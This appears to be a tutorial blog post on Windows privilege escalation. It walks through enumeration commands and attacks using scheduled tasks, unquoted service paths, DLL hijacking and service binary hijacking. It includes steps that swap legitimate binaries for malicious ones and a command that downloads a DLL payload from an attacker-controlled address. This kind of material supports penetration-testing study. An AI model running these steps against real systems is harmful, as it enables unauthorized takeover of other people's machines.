Once you’ve completed Windows Enumeration, you’ll likely have a good idea of where to go and what to explore further. Privilege escalation comes with many approaches and can be as simple as locating another user’s credentials but in this context, we’re speaking in more technical terms. This article works through the basics of understand each attack vector that could lead to becoming SYSTEM.
Scheduled Tasks
With this approach, we’re looking to understand what scheduled tasks are set up, wwhen they’re next running and who the task runs as. We also need to understand if we can edit the file that it runs, because there’s our opportunity.
Get-ScheduledTask
# uses powershell to get scheduled tasks
schtasks /query /fo LIST /v
# lists all scheduled tasks, the list can be enormous so it might take a while to pick through.
icacls filename
# we want F permissions, so if the task runs as admin, we can edit it to escalate privileges when it runs.
Then once we understand that the task runs as SYSTEM and we can edit the file it runs, we can replace the file with a malicious one.
This is as simple as:
move .\Documents\OriginalFile.exe binary.exe
move .\exploit.exe .\Documents\OriginalFile.exe
It’s important to note that with scheduled tasks, the name of the file needs to remain the same. Adding exploit.exe to the location that the scheduled task is looking for ‘OriginalFile.exe’ would mean that the scheduled task can’t find the file it’s supposed to run.
Kernel exploits
First, you need to run systeminfo command to find all the information about the system. You’re looking for the OS version, architecture, and the hotfixes that have been installed on the system.
systeminfo
# returns system information including OS, architecture and hotfixes
wmic qfe get Caption,Description,HotFixID,InstalledOn
# gathers more information about the hotfixes installed on the host
Each hotfix has a KB number, which you’ll need to individually Google to help you to understand which exploits won’t work due to being patched. If there are 100s of hotfixes, it’s probably not worth doing this way and instead, better to run an automated tool.
The automated way is using Watson.exe or the old version, Sherlock.ps1: https://github.com/rasta-mouse/Watson
Get this onto the system, run it and identify possible vulnerabilities.
Application exploits
In order to identify exploits for applications that are installed on the system, we need to know what applications are installed:
Get-ItemProperty "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname
# shows installed applications
Get-ItemProperty "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname,version
# shows installed applications and version information
Once you have a list of these applications, you can run searches for them based on this information. One of the best places to search is searchsploit, which comes with Kali:
searchsploit wordpress mail list
# searchs for exploits related to wordpress, mail and list
searchsploit wordpress mail list --exclude="(PoC)|/dos/"
searches for exploits related to wordpress, mail, list but excludes PoCs and dos style exploits
Abusing Privileges
There are two main privileges to abuse for privilege escalation.
- SeImpersonatePrivilege - this means that the account has the ability to impersonate another client after authentication.
- SeShutdownPrivilege - this means the user can restart the system
You can check privileges with the following command:
whoami /priv
# shows current user privileges
SeImpersonatePrivilege
This privilege is generally vulnerable to exploitation using PrintSpoofer or the Potato exploits. It’s a privilege that’s often assigned to service accounts, so as well as being a good route to SYSTEM, it can also give you clues as to where to move laterally. If you’re currently accessing a system as a local user without those privileges, you might be able to move laterally to the ‘apache’ user for example.
SeShutdownPrivilege
SeShutdownPrivilege is what it sounds like, the privilege that allows a user to shutdown or restart a system. This comes into play when we need to restart services. This could include DLL hijacking, unquoted service paths and service binary hijacking.
Unquoted Service Paths
We can explore unquoted service paths, when we have write permissions inside an applications directory. If the service path contains spaces but doesn’t have quotes, then this may be something we can abuse by replacing the binary with one that has quotes in the correct path. This way, our binary will run instead of the unquoted one.
Windows checks them in this order:
C:\Program.exe
C:\Program Files\my.exe
C:\Program Files\My Program\my.exe
C:\Program Files\My Program\my service\my.exe
We first need to enumerate running and stopped services.
Get-CimInstance -ClassName win32_service | Select Name,State,PathName
The output will show all running and stopped services and may contain ones with spaces but no quotes. These are potential targets.
You can also enumerate these with WMI.
wmic service get name,pathname | findstr /i /v "C:\Windows\\" | findstr /i /v """
# this will return services outside of C:\Windows\ and without quotes, these are services that are potentially vulnerable to Unquoted Service paths.
We also need to understand if we can stop and start the service.
Start-Service ServiceName
# will confirm if you can start the service.
icacls "C:\Program Files\MyApplication"
# again, checking the next directory that Windows will check for the binary.
We can then move the file into the appropriate place:
copy .\exploit.exe 'C:\Program Files\MyApplication\filename.exe'
Start-Service servicename
# starts service that we'd replaced the binary for.
net user
# even if it errors, it's worth checking if it created the user.
DLL Hijacking
Dynamic Link Libraries contain code and resources for other programs to use, saving duplications. These are called shared objects on Linux.
In this approach, we’re replacing the DLL or hijacking the search order.
Windows first searches the following:
- The directory from which the application loaded.
- The system directory
- The 16-bit system directory
- The Windows Directory
- The current directory
- The directories that are listed in the PATH environment variable
If we don’t have permissions to alter the binary, we might be able to replace a DLL.
Get-CimInstance -ClassName win32_service | Select Name,State,PathName | Where-Object {$_.State -like 'Running'}
icacls .\Documents\Program.exe
# shows permissions
Take a look in ProcMon and we can understand events related to the binary. Click filter and specify Process Name Is BinaryName and include as the final column. Now if we restart the service for the binary, we can then see what gets loaded in ProcMon.
This will show NameNotFound in the results column. THis is an example where we could replace the DLL.
$env:path
# shows variables and these are locations the OS will use. If there are any we can write to, we can hijack this DLL.
We need to move the dll to the appropriate location:
iwr -uri http://ourip -outfile adduser.dll
restart-Service servicename
# restarts the service
So long as the DLL is placed into a folder in the environment variables we checked, it should work when the process is restarted.
Service Binary Hijacking
In order to understand if we can do this, we need to view the name, state and path of the service binaries for each service that’s running and to understand if we have restart privileges or the ability to stop and start the service.
Get-CimInstance -ClassName win32_service | Select Name,State,PathName | Where-Object {$_.State -like 'Running'}
# shows running services
We’re looking for anything outside of C:\Windows\System32
as it’s user installed and could be prone to hijacking.
Any services stored outside of System32 could be checked with icacls.
icacls "C:\Users\MyUser\Documents\Program.exe"
# The output will show permissions RX means read and execute. We ideally want F as that's full permissions.
If we have full rights, we can replace the binary with something beneficial to us.
move C:\users\public\myapplication\myapp.exe .
move .\pwneduser.exe C:\users\public\myapplication\myapp.exe
# always make a copy of the original, in case something goes wrong.
net stop myapplication
# if we have permission, we may be able to stop the service and restert it, if we can't do that we can check the start up type.
Get-CimInstance -ClassName win32_service | Select Name, StartMode | Where-Object {$_.Name -like 'myapp'}
# if the output says that it's Auto, that means the service restarts on boot. If we have SeShutdown Privilege then we can reboot.
shutdown /r /t 0
# reboots the system.
Once this is complete, we need to check the outcome of our exploit. If it was a reverse shell, check the listener, if it was adding a user, check net users.